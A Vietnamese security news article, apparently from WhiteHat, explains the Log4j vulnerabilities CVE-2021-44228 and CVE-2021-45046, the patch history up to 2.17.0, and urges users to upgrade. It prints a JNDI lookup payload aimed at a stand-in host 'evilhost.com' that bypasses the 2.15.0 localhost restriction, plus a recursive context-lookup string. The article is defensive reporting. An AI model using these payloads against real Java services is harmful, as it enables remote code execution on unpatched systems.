Cảnh báo: Lỗ hổng Log4j thứ hai được nâng điểm CVSS từ 3.7 lên 9.0

[WhiteHat Team]

Người đời có câu 49 chưa qua 53 đã tới, trường hợp này đúng là không trượt phát nào với các lỗ hổng trong thư viện Log4j trên Java.

Khi mà lỗ hổng đầu tiên Log4shell với mã định danh CVE-2021-44228 (CVSS: 10) đang bị lợi dụng để thực hiện các đợt rà quét trên diện rộng thì mới đây lỗ hổng thứ 2 CVE-2021-45046 đã được nâng cấp điểm từ 3.7 (tấn công DoS trong phạm vi hạn chế) lên tận 9.0 (có khả năng thực thi mã từ xa - RCE trong một số trường hợp).

Trước đó, ngày 06/12/2021, Apache Software Foundation đã phát hành bản cập nhập 2.15.0 để xử lý lỗ hổng Log4Shell lạm dụng JNDI (Java và Directory Interface) và LDAP để thực thi mã từ xa. Tuy nhiên, chỉ sau đó vài ngày, các chuyên gia lại phát hiện bản vá này vẫn chưa triệt để vì trong một số trường hợp vẫn có thể bị khai thác dẫn đến tấn công DoS bị giới hạn đối với người dùng bản 2.15.0, còn đối với người dùng đang dùng phiên bản Log4j cũ hơn sử dụng thuộc tính formatMsgNoLookups, có thể thực hiện RCE trong một số trường hợp nhất định.

Do đó, phiên bản 2.16.0 được phát hành vào ngày 13 tháng 12 để giải quyết các lỗ hổng này bằng cách tắt hoàn toàn JNDI mặc định.

Hiểu rõ hơn về lỗ hổng thứ 2 CVE-201-45046

Về cơ bản, phiên bản 2.15.0 được phát hành để ngăn chặn RCE bằng cách chỉ cho phép các kết nối LDAP đến các địa chỉ local mặc định. Tuy nhiên, tin tặc vẫn có thể vượt qua được các biện pháp an ninh bổ sung này. Không phải ai cập nhật lên phiên bản 2.15.0 cũng dính lỗi RCE vì nó yêu cầu cấu hình ghi log cụ thể. Vì thuộc tính formatMsgNoLookups chỉ được bật mặc định trong 2.15.0, còn tính năng lookups phải được bật lại thủ công bằng tuỳ chọn %m{lookups}.

Tuy nhiên, vẫn có những cách thức khác mà việc tìm kiếm message text được thực hiện. Chỉ các kết nối local mới được cho phép trong bản 2.15.0 nên tác động đến lỗ hổng này là không lớn. Cách hiệu quả nhất để khai thác lỗ hổng này phải là chuỗi String attackerData = "${ctx:layout-pattern-value" có thể dẫn đến tham chiếu đệ quy trong việc tìm kiếm. Với việc bỏ qua danh sách kết nối từ xa hạn chế, thì việc RCE đầy đủ là khả thi chỉ bằng đoạn mã trên.

Theo cập nhật mới nhất, ngày 17/12, các nhà nghiên cứu lại tiết lộ một payload dùng để tấn công có thể qua mặt được network host trong Log4j 2.15.0 và lại cho phép thực thi mã từ xa đầy đủ:
${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

​

Hiện người dùng đang được khuyến cáo nên cập nhật lên phiên bản 2.16.0, ngay cả khi trước đó đã cập nhật lên 2.15.0, để giảm thiểu rủi ro tin tặc có thể qua mặt các biện pháp an ninh này.

Thế nhưng tránh vỏ dưa lại gặp vỏ dừa, Log4j 2.16.0 tiếp tục vừa được thông báo dính lỗ hổng DoS có mức độ nghiêm trọng 7.5, và Apache lại khuyến nghị nâng cấp lên 2.17.0 (dành cho Java 8) chỉ cho phép "chuỗi tra cứu trong cấu hình" mở rộng hàm đệ quy.

​

Apache đã chính thức công bố thông tin chi tiết về bản phát hành 2.17.0, đồng thời GitHub cũng chuẩn bị tung bản phát hành 2.12.3 ra mắt cho những người dùng phiên bản nhánh 2.12.x.

Tuy nhiên, các bản vá an ninh này liệu đã hoàn chỉnh để xử lý các lỗ hổng trên hay chưa thì không ai dám chắc.

Theo WhiteHat​